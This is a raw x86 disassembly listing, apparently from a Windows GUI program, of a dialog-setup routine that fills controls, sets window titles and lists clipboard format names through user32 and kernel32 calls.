mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
je 0x48fd2e
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18f3]
mov eax, ebp
mov cx, 0x195
call fcn.00488920
mov eax, dword [0x4be508]
mov eax, dword [eax]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x198
call fcn.00488934
mov eax, dword [0x4bee14]
mov eax, dword [eax]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x199
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, word [eax + 0x1878]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x19a
call fcn.00488934
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x19dd]
add cx, 0x1f3
mov eax, ebp
mov dl, 1
call fcn.00488920
mov eax, ebp
mov cx, 0x191
mov dl, 1
call fcn.00488920
mov eax, dword [0x4be784]
cmp byte [eax + 0x18e8], 0
setne dl
mov eax, ebp
mov cx, 9
call fcn.00488920
mov eax, dword [0x4be784]
cmp byte [eax + 0x18e8], 0
je 0x48fda4
mov ax, 0x15d
call fcn.004aa600
mov edx, dword [0x4be784]
movzx edx, byte [edx + 0x18e8]
mov ecx, dword [0x4be688]
mov edx, dword [ecx + edx*4]
call fcn.004ae1b0
jmp 0x48fdc8
mov ax, 0x15d
call fcn.004aa600
mov edx, dword [0x4be784]
movzx edx, byte [edx + 0x188e]
mov ecx, dword [0x4be688]
mov edx, dword [ecx + edx*4]
call fcn.004ae1b0
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 9
call fcn.00488934
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18f4]
mov eax, ebp
mov cx, 0x194
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
je 0x48fe22
mov edx, dword [0x4be784]
add edx, 0x200
mov eax, dword [0x4bedb0]
call fcn.004b81b0
jmp 0x48fe2a
mov eax, dword [0x4bedb0]
mov byte [eax], 0
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bedb0]
call fcn.004b8144
dec eax
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
mov edx, dword [0x4bedb0]
cmp byte [edx + eax], 0x3a
jne 0x48fe84
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
mov edx, dword [0x4bedb0]
mov byte [edx + eax], 0
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x30b
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18e7], 0
je 0x48ff53
mov eax, ebp
mov cx, 0x190
mov dl, 1
call fcn.00488920
mov eax, dword [0x4be374]
mov dl, 1
call fcn.00407928
mov eax, dword [0x4be784]
cmp byte [eax + 0x18dc], 0
je 0x48feeb
mov eax, dword [0x4bedb0]
call fcn.00489cc8
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
jmp 0x48fefc
mov ecx, dword [0x4be374]
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov eax, dword [0x4be374]
xor edx, edx
call fcn.00407928
mov eax, ebp
mov cl, 1
mov dx, 0x18f
call fcn.004949d8
mov ecx, dword [0x4be784]
mov cl, byte [ecx + 0x18dc]
mov eax, ebp
mov dx, 4
call fcn.004949d8
mov eax, ebp
mov cl, 1
mov dx, 0x30a
call fcn.004949d8
mov ecx, dword [0x4be784]
mov cl, byte [ecx + 0x18dc]
xor cl, 1
mov eax, ebp
mov dx, 0x30a
call fcn.00489a04
mov eax, ebp
call fcn.0048e720
cmp byte [ebp + 0x54], 0x22
jne 0x490164
mov ecx, dword [0x4bedb0]
mov eax, dword [0x4be55c]
mov al, byte [eax]
mov dl, 1
call fcn.0049e530
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 5
call fcn.00488934
mov eax, dword [0x4bef88]
cmp byte [eax], 0
je 0x48ffa0
mov eax, ebp
xor ecx, ecx
mov dx, 0x64
call fcn.00489a04
mov eax, dword [0x4bea38]
mov eax, dword [eax]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x64
call fcn.00488934
mov eax, dword [0x4bea38]
mov eax, dword [eax]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 8
call fcn.00488934
mov eax, dword [0x4be604]
mov eax, dword [eax]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x65
call fcn.00488934
mov eax, dword [0x4be604]
mov eax, dword [eax]
mov edx, dword [0x4bea38]
sub eax, dword [edx]
inc eax
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov edx, eax
mov eax, dword [0x4beb38]
call fcn.004b81b0
mov eax, dword [0x4be430]
cmp byte [eax], 0
je 0x49009e
push 0x4948fc
mov eax, dword [0x4beb38]
push eax
call sub.kernel32.dll_lstrcatA
mov ax, 0x1fb
call fcn.004aa600
mov edx, dword [0x4beb38]
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4be430]
cmp byte [eax], 0
jne 0x4900d8
mov eax, ebp
xor ecx, ecx
mov dx, 0x18f
call fcn.004949d8
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x189b]
mov eax, ebp
mov cx, 0x18f
call fcn.00488920
mov eax, dword [0x4be994]
cmp byte [eax], 0
jne 0x49012d
mov eax, dword [0x4be604]
mov eax, dword [eax]
mov edx, dword [0x4bea38]
sub eax, dword [edx]
cmp eax, 0x7530
jbe 0x49011e
mov eax, ebp
mov cx, 0x192
mov dl, 1
call fcn.00488920
jmp 0x490164
mov eax, ebp
mov cx, 0x191
mov dl, 1
call fcn.00488920
jmp 0x490164
mov ecx, dword [0x4be994]
movzx ecx, byte [ecx]
add cx, 0x190
mov eax, ebp
mov dl, 1
call fcn.00488920
mov eax, dword [0x4be994]
cmp byte [eax], 3
jne 0x490164
mov edi, 5
mov eax, ebp
xor ecx, ecx
mov edx, edi
call fcn.00489a04
inc edi
cmp edi, 9
jne 0x490153
cmp byte [ebp + 0x54], 0x23
jne 0x4901ee
mov ax, 0x1fb
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov eax, dword [0x4bedb0]
mov dl, 0x7e
call fcn.004b8284
inc eax
mov byte [eax], 0
mov eax, dword [0x4be538]
call fcn.004aed10
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, ebp
mov cx, 0x191
mov dl, 1
call fcn.00488920
mov edi, 1
mov ebx, edi
mov eax, ebx
add ax, 0x2d7
dec eax
call fcn.004aa600
mov ecx, eax
mov edx, ebx
add dx, 0x190
mov eax, ebp
call fcn.00488934
inc edi
cmp edi, 4
jne 0x4901ca
cmp byte [ebp + 0x54], 1
jne 0x4902f3
mov ax, 0x2c2
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov edi, 1
mov ebx, edi
mov eax, ebx
add ax, 0x2c2
call fcn.004aa600
mov ecx, eax
mov edx, ebx
add dx, 6
mov eax, ebp
call fcn.00488934
inc edi
cmp edi, 5
jne 0x490210
xor edx, edx
mov eax, 0x63
call fcn.004862ec
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 5
call fcn.00488934
xor edx, edx
mov eax, 0x6a
call fcn.004862ec
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 6
call fcn.00488934
xor edx, edx
mov eax, 0x9b
call fcn.004862ec
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 4
call fcn.00488934
cmp byte [0x4c2515], 0
je 0x4902b9
mov eax, ebp
xor ecx, ecx
mov dx, 6
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 4
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x66
call fcn.00489a04
mov eax, ebp
call fcn.00488994
mov eax, dword [0x4bea48]
cmp dword [eax], 0
je 0x4902d6
mov eax, dword [0x4bea48]
mov eax, dword [eax]
cmp byte [eax], 0
jne 0x4902ec
mov eax, ebp
xor ecx, ecx
mov dx, 1
call fcn.00489a04
mov byte [0x4c2514], 0
jmp 0x4902f3
mov byte [0x4c2514], 1
cmp byte [ebp + 0x54], 0x4e
jne 0x490591
mov edi, 1
mov eax, dword [0x4be784]
add eax, 0x1880
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x44]
mov al, byte [eax]
cmp al, 0x1a
jle 0x490337
movsx eax, al
imul eax, eax, 0xb
mov edx, dword [0x4beaf4]
cmp byte [edx + eax*8 - 0x8f8], 0
jne 0x490337
mov eax, dword [esp + 0x44]
mov byte [eax], 3
mov eax, dword [esp + 0x44]
mov al, byte [eax]
cmp al, 0xde
jge 0x490362
movsx eax, al
mov edx, eax
shl eax, 3
sub eax, edx
mov edx, dword [0x4bec00]
cmp byte [edx + eax*2 + 0x259], 0
jne 0x490362
mov eax, dword [esp + 0x44]
mov byte [eax], 0xfd
mov edx, edi
mov eax, ebp
call fcn.0048e034
inc edi
inc dword [esp + 0x44]
cmp edi, 3
jne 0x490310
mov ax, 0x242
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov edi, 0xd
mov ebx, edi
mov eax, ebx
add ax, 0x244
sub ax, 0xd
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov edx, ebx
call fcn.00488934
inc edi
cmp edi, 0x12
jne 0x49038d
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1936]
mov eax, ebp
mov cx, 0xc
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0xa44]
mov eax, ebp
mov cx, 0x12
call fcn.00488920
mov eax, ebp
call fcn.00489d08
mov eax, dword [0x4be784]
cmp byte [eax + 0x1936], 0
jne 0x4904a7
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x179c]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x64
call fcn.00488934
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x17a0]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x65
call fcn.00488934
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x17a4]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x66
call fcn.00488934
mov ax, 0x33b
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x12
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, word [eax + 0x17bc]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x67
call fcn.00488934
mov ecx, dword [0x4be784]
add ecx, 0x1dfa
mov eax, ebp
mov dx, 0x68
call fcn.00488934
mov eax, ebp
mov ecx, 5
mov edx, 4
call fcn.0048e644
mov eax, ebp
mov ecx, 5
mov edx, 5
call fcn.0048e644
mov eax, ebp
mov ecx, 0xc
mov edx, 6
call fcn.0048e644
mov eax, ebp
mov ecx, 0xc
mov edx, 7
call fcn.0048e644
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1937]
mov eax, ebp
mov cx, 0x10
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1938]
mov eax, ebp
mov cx, 0x11
call fcn.00488920
cmp byte [0x4c2481], 0
je 0x490591
push 0
push 0x64
push 1
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetTimer
cmp byte [ebp + 0x54], 0x43
jne 0x49061c
mov eax, dword [0x4be7dc]
push dword [eax + 4]
push dword [eax]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov ax, 0x13b
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov edx, dword [0x4be82c]
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x4948ec
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18be]
add ax, 0x10
call fcn.004aa600
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
cmp byte [ebp + 0x54], 0x44
je 0x49062c
cmp byte [ebp + 0x54], 0x45
jne 0x4906dc
mov eax, ebp
mov ecx, dword [0x4c24d8]
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x44
jne 0x49066e
mov bl, 9
mov eax, dword [0x4be4b8]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x44]
cmp dword [eax], 0
je 0x490665
mov eax, dword [esp + 0x44]
mov edx, dword [eax]
mov eax, dword [ebp + 0x48]
call fcn.00486854
add dword [esp + 0x44], 4
dec bl
jne 0x49064e
mov ax, 0x26c
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ax, 0x13b
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x494900
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4c2484]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4948f4
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0x34
jne 0x490728
mov ax, 0x394
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov eax, dword [0x4bedb0]
xor edx, edx
call fcn.0048629c
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ax, 0x395
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
cmp byte [ebp + 0x54], 0x54
jne 0x490782
mov eax, ebp
mov ecx, dword [0x4c24dc]
mov dx, 0x30a
call fcn.00488934
mov eax, dword [0x4c24dc]
call fcn.004b8480
mov ax, 0x2ee
call fcn.004aa600
push eax
mov ax, 0x2ed
call fcn.004aa600
pop edx
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
cmp byte [ebp + 0x54], 0x55
jne 0x4907dc
mov eax, ebp
mov ecx, dword [0x4c24dc]
mov dx, 0x30a
call fcn.00488934
mov eax, dword [0x4c24dc]
call fcn.004b8480
mov ax, 0x170
call fcn.004aa600
push eax
mov ax, 0x2ed
call fcn.004aa600
pop edx
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
cmp byte [ebp + 0x54], 0x56
jne 0x490836
mov eax, ebp
mov ecx, dword [0x4c24dc]
mov dx, 0x30a
call fcn.00488934
mov eax, dword [0x4c24dc]
call fcn.004b8480
mov ax, 0x12e
call fcn.004aa600
push eax
mov ax, 0x2ed
call fcn.004aa600
pop edx
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
cmp byte [ebp + 0x54], 0x41
jne 0x490ad7
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne al
mov byte [esp + 0x38], al
xor eax, eax
mov al, byte [esp + 0x38]
add ax, 0x152
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4be784]
cmp byte [eax + 0x18af], 0
je 0x4908b1
mov edi, 0x63
mov eax, ebp
xor ecx, ecx
mov edx, edi
call fcn.00489a04
inc edi
cmp edi, 0x6b
jne 0x490893
mov eax, ebp
xor ecx, ecx
mov dx, 4
call fcn.00489a04
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x18af]
add cx, 0x3e8
mov eax, ebp
mov dl, 1
call fcn.00488920
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18af]
add eax, 0x3e8
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
push eax
call sub.user32.dll_SetFocus
mov eax, dword [0x4be784]
cmp byte [eax + 0x18af], 4
sete cl
mov eax, ebp
mov dx, 0x6b
call fcn.00489a04
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18aa]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 2
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0x6b
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18af], 7
sete cl
mov eax, ebp
mov dx, 0x6c
call fcn.00489a04
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x182c]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 2
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0x6c
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18af], 8
sete cl
mov eax, ebp
mov dx, 0x6d
call fcn.00489a04
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x182d]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 2
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0x6d
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18af], 9
sete cl
mov eax, ebp
mov dx, 0x6e
call fcn.00489a04
mov eax, dword [0x4be784]
fild dword [eax + 0xa40]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x6e
call fcn.00488934
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x18d7]
add cx, 0x66
mov eax, ebp
mov dl, 1
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18d4]
mov eax, ebp
mov cx, 0x63
call fcn.00488920
mov eax, dword [0x4be784]
mov al, byte [eax + 0x18a2]
call fcn.0048b898
mov ecx, eax
mov eax, ebp
mov dx, 0x65
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18d4], 0
je 0x490aa3
mov eax, dword [0x4be784]
fild dword [eax + 0x178c]
add esp, 0xfffffff8
fistp qword [esp]
wait
xor edx, edx
mov al, 1
call fcn.004af0b0
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
jmp 0x490ac6
mov eax, dword [0x4be784]
fild dword [eax + 0x178c]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x64
call fcn.00488934
cmp byte [ebp + 0x54], 0x31
jne 0x490c27
mov eax, dword [0x4bec74]
cmp dword [eax], 1
jle 0x490b52
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
jne 0x490b52
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
cmp dword [eax + 0x5c], 0
jne 0x490b52
mov eax, dword [0x4bef60]
cmp byte [eax], 0
je 0x490b5f
mov eax, ebp
mov cx, 0x64
mov dl, 1
call fcn.00488920
mov eax, ebp
xor ecx, ecx
mov dx, 0xcf
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0xd0
call fcn.00489a04
jmp 0x490b5f
mov eax, ebp
xor ecx, ecx
mov dx, 0x64
call fcn.00489a04
mov bl, 1
mov eax, dword [0x4be414]
mov dword [esp + 0x44], eax
lea esi, [ebp + 0x48]
mov eax, dword [esp + 0x44]
push dword [eax + 4]
push dword [eax]
call fcn.004af438
mov ecx, eax
xor edx, edx
mov dl, bl
add dx, 0x309
mov eax, ebp
call fcn.00488934
mov edi, 1
mov eax, edi
add ax, 0xbf
dec eax
call fcn.004aa600
mov edx, eax
mov eax, dword [esi]
call fcn.00486854
inc edi
cmp edi, 7
jne 0x490b92
xor eax, eax
mov al, bl
add ax, 0xc3
dec eax
call fcn.004aa600
mov edx, eax
mov eax, dword [esi]
call fcn.004868c0
inc ebx
add esi, 4
add dword [esp + 0x44], 8
cmp bl, 3
jne 0x490b6d
mov ax, 0x27d
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x64
call fcn.00488934
mov ax, 0x284
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x190
call fcn.00488934
mov ax, 0x285
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x191
call fcn.00488934
mov ax, 0x286
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0x2a
je 0x490c37
cmp byte [ebp + 0x54], 0x2b
jne 0x490e2f
mov ax, 0x38b
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x494900
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
cmp byte [ebp + 0x54], 0x2b
jne 0x490ca1
mov ax, 0x38e
call fcn.004aa600
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
call fcn.004aed10
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
jmp 0x490cb6
mov ax, 0x38f
call fcn.004aa600
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4948f4
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
push 0
mov eax, dword [0x4be8b8]
mov eax, dword [eax + 0xc]
push eax
push 0x30
push 0x64
mov eax, dword [ebp]
push eax
call sub.user32.dll_SendDlgItemMessageA
mov ax, 0x10d
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov ax, 0x38c
call fcn.004aa600
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov edx, dword [0x4bedb0]
mov eax, dword [0x4c2488]
call fcn.00486854
mov ax, 0x10c
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov ax, 0x38d
call fcn.004aa600
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov edx, dword [0x4bedb0]
mov eax, dword [0x4c2488]
call fcn.00486854
mov ax, 0x10e
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov ax, 0x38d
call fcn.004aa600
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov edx, dword [0x4bedb0]
mov eax, dword [0x4c2488]
call fcn.00486854
cmp byte [ebp + 0x54], 0x2a
jne 0x490dc8
mov eax, dword [0x4be784]
mov al, byte [eax + 0x18b9]
xor al, 1
and eax, 0x7f
mov edx, dword [0x4be784]
movzx edx, byte [edx + 0x18bb]
add ax, dx
call fcn.004868e8
jmp 0x490e0e
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov al, byte [eax + 0x438]
xor al, 1
and eax, 0x7f
mov edx, dword [0x4bec7c]
mov edx, dword [edx]
mov ecx, dword [0x4be754]
mov edx, dword [ecx + edx*4 - 4]
mov edx, dword [edx + 0xc]
cmp byte [edx + 0x96], 4
sete dl
and edx, 0x7f
add ax, dx
call fcn.004868e8
mov eax, dword [0x4be784]
cmp byte [eax + 0x198c], 0
jne 0x490e2f
mov al, 0xb
call fcn.004b0608
mov eax, dword [0x4be784]
mov byte [eax + 0x198c], 1
cmp byte [ebp + 0x54], 0x29
jne 0x49100b
mov ax, 0x1c9
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
push 0
mov eax, dword [0x4be8b8]
mov eax, dword [eax + 0xc]
push eax
push 0x30
push 0x64
mov eax, dword [ebp]
push eax
call sub.user32.dll_SendDlgItemMessageA
xor ebx, ebx
mov eax, dword [0x4bea94]
xor edx, edx
mov dword [eax], edx
mov word [esp + 0x24], 0
mov byte [esp + 0x48], 0
mov byte [0x4c24d1], 0
mov eax, dword [0x4bea94]
mov eax, dword [eax]
push eax
call sub.user32.dll_EnumClipboardFormats
mov edx, dword [0x4bea94]
mov dword [edx], eax
mov eax, dword [0x4bea94]
mov eax, dword [eax]
cmp eax, 0xd
ja case.0x490ea7.0
jmp dword [eax*4 + 0x490eae]
mov edx, 0x494904
lea eax, [esp + 0x48]
call fcn.004b81b0
jmp 0x490fbb
mov edx, 0x49490c
lea eax, [esp + 0x48]
call fcn.004b81b0
jmp 0x490fbb
mov edx, 0x494918
lea eax, [esp + 0x48]
call fcn.004b81b0
jmp 0x490fbb
mov edx, 0x494920
lea eax, [esp + 0x48]
call fcn.004b81b0
jmp 0x490fbb
mov edx, 0x494928
lea eax, [esp + 0x48]
call fcn.004b81b0
jmp 0x490fbb
mov edx, 0x494930
lea eax, [esp + 0x48]
call fcn.004b81b0
jmp 0x490fbb
mov byte [0x4c24d1], 1
mov edx, 0x494938
lea eax, [esp + 0x48]
call fcn.004b81b0
mov eax, dword [0x4be784]
cmp byte [eax + 0x189e], 1
jne 0x490fbb
xor eax, eax
mov al, bl
mov word [esp + 0x24], ax
jmp 0x490fbb
mov edx, 0x494944
lea eax, [esp + 0x48]
call fcn.004b81b0
mov eax, dword [0x4be784]
cmp byte [eax + 0x189e], 2
jne 0x490fbb
xor eax, eax
mov al, bl
mov word [esp + 0x24], ax
jmp 0x490fbb
push 0x1e
lea eax, [esp + 0x4c]
push eax
mov eax, dword [0x4bea94]
mov eax, dword [eax]
push eax
call sub.user32.dll_GetClipboardFormatNameA
cmp byte [esp + 0x48], 0
je 0x490fd6
lea edx, [esp + 0x48]
mov eax, dword [0x4c2488]
call fcn.00486854
inc ebx
mov byte [esp + 0x48], 0
mov eax, dword [0x4bea94]
cmp dword [eax], 0
je 0x490fe9
cmp bl, 0x19
jne 0x490e82
cmp byte [0x4c24d1], 0
je 0x491001
mov edx, 0x494950
mov eax, dword [0x4c2488]
call fcn.00486854
mov ax, word [esp + 0x24]
call fcn.004868e8
cmp byte [ebp + 0x54], 0x2c
jne 0x49112e
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
